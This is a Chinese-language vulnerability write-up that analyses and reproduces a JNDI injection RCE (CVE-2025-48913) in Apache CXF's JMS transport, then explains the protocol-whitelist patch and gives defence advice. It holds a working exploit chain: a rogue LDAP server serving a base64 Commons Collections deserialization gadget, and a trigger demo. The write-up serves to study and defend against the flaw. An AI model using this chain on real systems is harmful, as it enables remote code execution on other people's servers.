Apache CXF RCE漏洞(CVE-2025-48913)分析与复现教学文档
漏洞概述
漏洞名称:Apache CXF JMS传输模块JNDI注入远程代码执行漏洞
CVE编号:CVE-2025-48913
影响组件:Apache CXF JMS传输模块
漏洞类型:JNDI注入导致的远程代码执行
威胁等级:高危
漏洞描述
Apache CXF是一款开源的Web服务框架,用于构建和消费基于多种协议的Web服务。其中JMS传输模块专门负责与消息中间件进行集成通信。
在受影响版本中,JMS传输模块的JndiHelper类在初始化JNDI环境时,未对外部传入的java.naming.provider.url配置项进行安全校验。攻击者若能控制此配置项,可将其指向一个恶意的RMI或LDAP服务地址,导致后续的JNDI查找操作加载并执行远程服务器上的恶意代码,从而实现远程代码执行。
受影响版本
- Apache CXF 4.1.2及之前版本
- 其他使用JMS传输模块的受影响版本
环境搭建
Maven项目配置
创建Spring Boot项目,在pom.xml中添加以下依赖:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>ctf.challenge</groupId>
<artifactId>cxf</artifactId>
<version>1.0-SNAPSHOT</version>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>3.2.3</version>
<relativePath/>
</parent>
<properties>
<java.version>17</java.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<repositories>
<repository>
<id>aliyun-maven</id>
<name>Aliyun Maven</name>
<url>https://maven.aliyun.com/repository/public</url>
</repository>
</repositories>
<dependencies>
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-spring-boot-starter-jaxrs</artifactId>
<version>4.1.2</version>
</dependency>
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-transports-jms</artifactId>
<version>4.1.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
</project>
漏洞分析
漏洞触发点分析
1. JndiHelper类分析
漏洞核心位于org.apache.cxf.transport.jms.util.JndiHelper类:
package org.apache.cxf.transport.jms.util;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NameNotFoundException;
import javax.naming.NamingException;
public class JndiHelper {
private Properties environment;
public JndiHelper(Properties environment) {
this.environment = environment;
}
public <T> T lookup(String name, Class<T> requiredType) throws NamingException {
Context ctx = new InitialContext(this.environment);
Object var5;
try {
Object located = ctx.lookup(name);
if (located == null) {
throw new NameNotFoundException("JNDI object with [" + name + "] not found");
}
var5 = located;
} finally {
ResourceCloser.close(ctx);
}
return var5;
}
}
关键问题:构造函数直接接收外部传入的Properties对象,未对java.naming.provider.url进行安全校验。
2. 调用链分析
漏洞触发调用链如下:
- JMSConfiguration#getConnectionFactoryFromJndi方法:
private ConnectionFactory getConnectionFactoryFromJndi() {
if (this.getJndiEnvironment() != null && this.getConnectionFactoryName() != null) {
try {
return (ConnectionFactory)(new JndiHelper(this.getJndiEnvironment()))
.lookup(this.getConnectionFactoryName(), ConnectionFactory.class);
} catch (NamingException var2) {
throw new RuntimeException(var2);
}
} else {
return null;
}
}
- JMSConfiguration#getConnectionFactory方法调用上述私有方法。
漏洞利用原理
攻击者通过控制JNDI环境配置,将java.naming.provider.url指向恶意RMI或LDAP服务器。当JndiHelper执行lookup操作时,会连接到攻击者控制的服务器并加载恶意序列化对象,导致远程代码执行。
漏洞复现
1. 漏洞验证Demo
import java.util.Properties;
import javax.naming.Context;
import org.apache.cxf.transport.jms.JMSConfiguration;
public class Main {
public static void main(String[] args) throws Exception {
// 配置恶意JNDI环境
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:9999");
env.put(Context.REFERRAL, "follow"); // 允许引用跟随
JMSConfiguration jmsConfig = new JMSConfiguration();
jmsConfig.setJndiEnvironment(env);
jmsConfig.setConnectionFactoryName("BS");
try {
jmsConfig.getConnectionFactory();
System.out.println("❌ 未触发安全防护(漏洞存在)");
} catch (Exception e) {
System.out.println("✔ 捕获到异常: " + e.getMessage());
}
}
}
2. 恶意LDAP服务器搭建
package org.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
import java.util.Base64;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] tmp_args) {
String[] args = new String[]{"http://127.0.0.1/#BS"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
e.addAttribute("javaClassName", "foo");
// 使用Commons Collections Gadget
e.addAttribute("javaSerializedData", Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWJjc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANlZWV4"));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
3. 复现步骤
- 启动恶意LDAP服务器
- 运行漏洞验证Demo
- 观察是否成功触发命令执行
注意:复现需要在JDK 17环境下进行,低版本JDK有默认的JNDI注入防护。
漏洞修复
修复方案分析
修复版本在JndiHelper类的构造函数中增加了安全检查逻辑:
private static final List<String> ALLOWED_PROTOCOLS = Arrays.asList(
"vm://", "tcp://", "nio://", "ssl://", "http://", "https://", "ws://", "wss://");
public JndiHelper(Properties environment) {
this.environment = environment;
String providerUrl = environment.getProperty("java.naming.provider.url");
if (providerUrl != null) {
Stream var10000 = ALLOWED_PROTOCOLS.stream();
Objects.requireNonNull(providerUrl);
if (!var10000.anyMatch(providerUrl::startsWith)) {
throw new IllegalArgumentException("Unsafe protocol in JNDI URL: " + providerUrl);
}
}
}
修复要点
- 协议白名单:只允许安全的协议(vm、tcp、nio、ssl、http、https、ws、wss)
- 早期拦截:在构造函数阶段进行校验,避免后续lookup操作
- 明确异常:检测到不安全协议时抛出IllegalArgumentException
验证修复效果
使用修复后的版本运行Demo,将看到以下输出:
✔ 捕获到异常: Unsafe protocol in JNDI URL: ldap://127.0.0.1:9999
🎉 CXF的JNDI协议保护生效
防护建议
- 升级版本:立即升级到修复版本
- 输入验证:对用户输入的JNDI配置进行严格校验
- 网络隔离:限制出站网络连接,特别是LDAP/RMI协议
- 最小权限:使用最小权限原则运行应用程序
参考链接
总结
CVE-2025-48913是一个典型的JNDI注入漏洞,通过控制JMS配置中的JNDI参数实现RCE。修复方案采用了协议白名单机制,有效阻止了不安全协议的利用。开发人员应重视第三方组件中JNDI相关功能的安全性,及时更新组件版本并实施纵深防御策略。